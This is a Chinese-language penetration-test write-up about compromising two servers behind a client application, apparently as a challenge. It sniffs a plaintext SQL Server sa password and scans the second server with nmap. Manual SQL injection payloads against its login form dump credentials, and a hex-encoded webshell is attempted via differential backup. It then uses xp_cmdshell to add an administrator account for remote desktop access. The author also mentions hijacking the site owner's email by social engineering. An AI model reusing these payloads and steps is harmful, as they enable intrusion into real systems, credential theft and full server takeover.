要求:给你一个软件,这个软件包含两台以上的服务器,渗透并拿到其中最高权限。不可假借他人之手。可以爆破,可以注入,可以上传,反正你喜欢~
作为一个不懂二进制的Web Dog,需要分析软件,只能把它拖到一个干净的虚拟机,利用各种软件来进行分析….
一开始拿到软件,我以为这个软件是个木马或者捆绑了,所以用ProcTracer 和Procmon跟踪下软件的文件写入和注册表写入,不过并没有发现异常…
既然这样,那就直接打开软件软件,使用岁月联盟的抓包软件对进程进行抓包分析…
打开软件有个登录/注册的功能,操作后可以抓包http请求了..
360流量监控也检测到和远程ip交互了。。
同时,写好过滤远程ip的表达式后,wireshark也抓到http数据包了
打开软件,测试某个功能时,抓包软件检测到和某个远程ip的1433端口进行交互,难道直接从sql Server获取数据???
然后,直接截取到sa明文了,搞定一台
目前两台服务器ip地址都找到了,接着就是搞第二台…第二台需要从web下手
第二台服务器刚才抓包发现登录页面存在一个字符型注入点,password字段可控
这个服务器,用sqlmap跑了下,直接封了ip。。先收集下服务器其它信息
nmap xx.xxx.xx -sS -p 1-65535
经过探测,发现开放有ftp,web(iis6),mssql,mysql等服务器系统为2003,远程桌面的端口改为了678
Nmap扫描漏洞
nmap –script=vuln http://wxxxxx.com
使用工具/GoogleHack探测敏感目录,没有什么收获…
容器为iis6,存在短文件漏洞,用李姐姐的脚本跑了下,收获不大,唯一得到的就是一个代理后台和管理后台。
进过一番探测,没有找到什么好的突破点,其中,还简单社工了网站负责人,控制了官方的163邮箱,但是,作用不大…后台登录无果
最后,只好回到注入点手工注入。(其实为什么不直接一开始就搞注入点呢?因为我太渣了,sqlmap拦截了就想找捷径…)
前面已经探测过,确定存在注入点,可以用下面的语句爆出来版本号,原理就是把sqlserver
查询的返回结果和0比较,而0是int类型,所以就把返回结果当出错信息爆出来了
下面的工具时火狐浏览器的Hackbar插件
user=hello&password=word’and%20 @@version>0–
数据库版本和Nmap探测的结果一样 – –
判断是否dbo权限
user=hello&password=word’and%20 User_Name()>0–
Dbo权限啊~这下有戏了
爆当前连接使用的数据库名称—》为userb
userbuser=hello&password=word’and%20 db_Name()>0–
爆userb库下面的表,得出两个存放用户信息的表,login,users
user=admin&password=234’and%20(Select%20Top%20 1 %20 name%20from%20sysobjects%20 where %20xtype=char(85)%20and %20status>0%20and%20name<>’bak’)>0–
爆login表的字段
user=admin&password=234’and%20 (Select %20Top %201 %20col_name(object_id(‘login’),N) %20from %20sysobjects)>0 —
N为第几个字段,输入1然后2然后3,..一直到爆到返回正常即可
爆login表password字段数据,密码直接明文存放,厉害了
&password=234’and%20(select %20top %201 %20username%20 from %20login %20where %20id=1)>1–
通过爆两个用户表的信息,发现,users表的用户数据可以登录后台,但是登录后后台非常简陋,只有用户管理和代理管理。
同时,在代理管理的页面发现代理的登录帐号也是明文存放的,前面用iis短文件漏洞也找到了代理的后台。
登录代理后台后,后台界面同样也是非常的简陋。。两个后台连个上传点都没有。。
只好继续探测目录,寻找其它后台页面,后台没找到,但是发现一个php文件,爆出了绝对路径。
Dba权限+绝对路径,瞬间想到了差异备份…虽然以前都是用工具的
手工差异备份
user=admin&password=234′;alter%20 database%20 userb%20 set%20 RECOVERY %20FULL– #设置userb表为完整恢复模式
user=admin&password=234′;create%20 table %20cybackup %20(test%20 image)– #创建一个名为cybackup的临时表
user=admin&password=234′;insert%20 into %20cybackup(test) %20values(0x203c256578656375746520726571756573742822612229253e);– #插入经过16进制编码的一句话到刚才创建的表的test字段
user=admin&password=234′;declare%20@a%20 sysname,@s%20 varchar(4000)%20 select%20 @a=db_name(),@s=0x433a2f777777726f6f742f6678726a7a2f777777726f6f742f7069632f746d70312e617370%20 backup%20 %20log %20@a %20to %20disk=@s %20WITH%20 DIFFERENTIAL,FORMAT–
*#其中上面的0x433a2f777777726f6f742f6678726a7a2f777777726f6f742f7069632f746d7就是经过16进制编码后的完整路径C:/wwwroot/fxrjz/wwwroot/hy/log_temp.asp*
user=admin&password=234′;alter%20 database%20 userb%20 set%20 RECOVERY %20simple– #完成后把userb表设回简单模式
尝试备份**asp的一句话–失败**
尝试多次闭合均失败。。。
尝试备份**php的一句话–失败**
文件也太大了吧。。
这个差异备份拿shell搞了很久,还是没有成功,后来想到直接调用xp_cmdshell执行系统命令,之前尝试过使用echo 命令测试写入字符话到网站目录,没有成功写入。还以为xp_cmdshell没有恢复好,后来看到网上文章介绍说sqlserver200xp_cmdshell默认是开启的。
最后想到调用xp_cmdshell执行命令把返回结果导出到一个文件
user=admin&password=234′; Exec %20master..xp_cmdshell %20’whoami>C:\wwwroot\xxxxx\wwwroot\web\temp.txt’–
看看能不能得到回显效果
执行成功了了!!System权限!
然后就是直接添加用户了,提交post数据没有报错
user=admin&password=234′; Exec %20master..xp_cmdshell %20’net%20 user%20 temp%20 temp%20 /add’–
user=admin&password=234′; Exec %20master..xp_cmdshell %20’net%20 localgroup%20 administrators%20 temp%20 /add’–
远程桌面端口前面也已经探测出来了,直接连接,就这样提下来了。之前echo写入一句话失败估计就是%20惹的要用%20代替空格。。
两台服务器搞定。。。。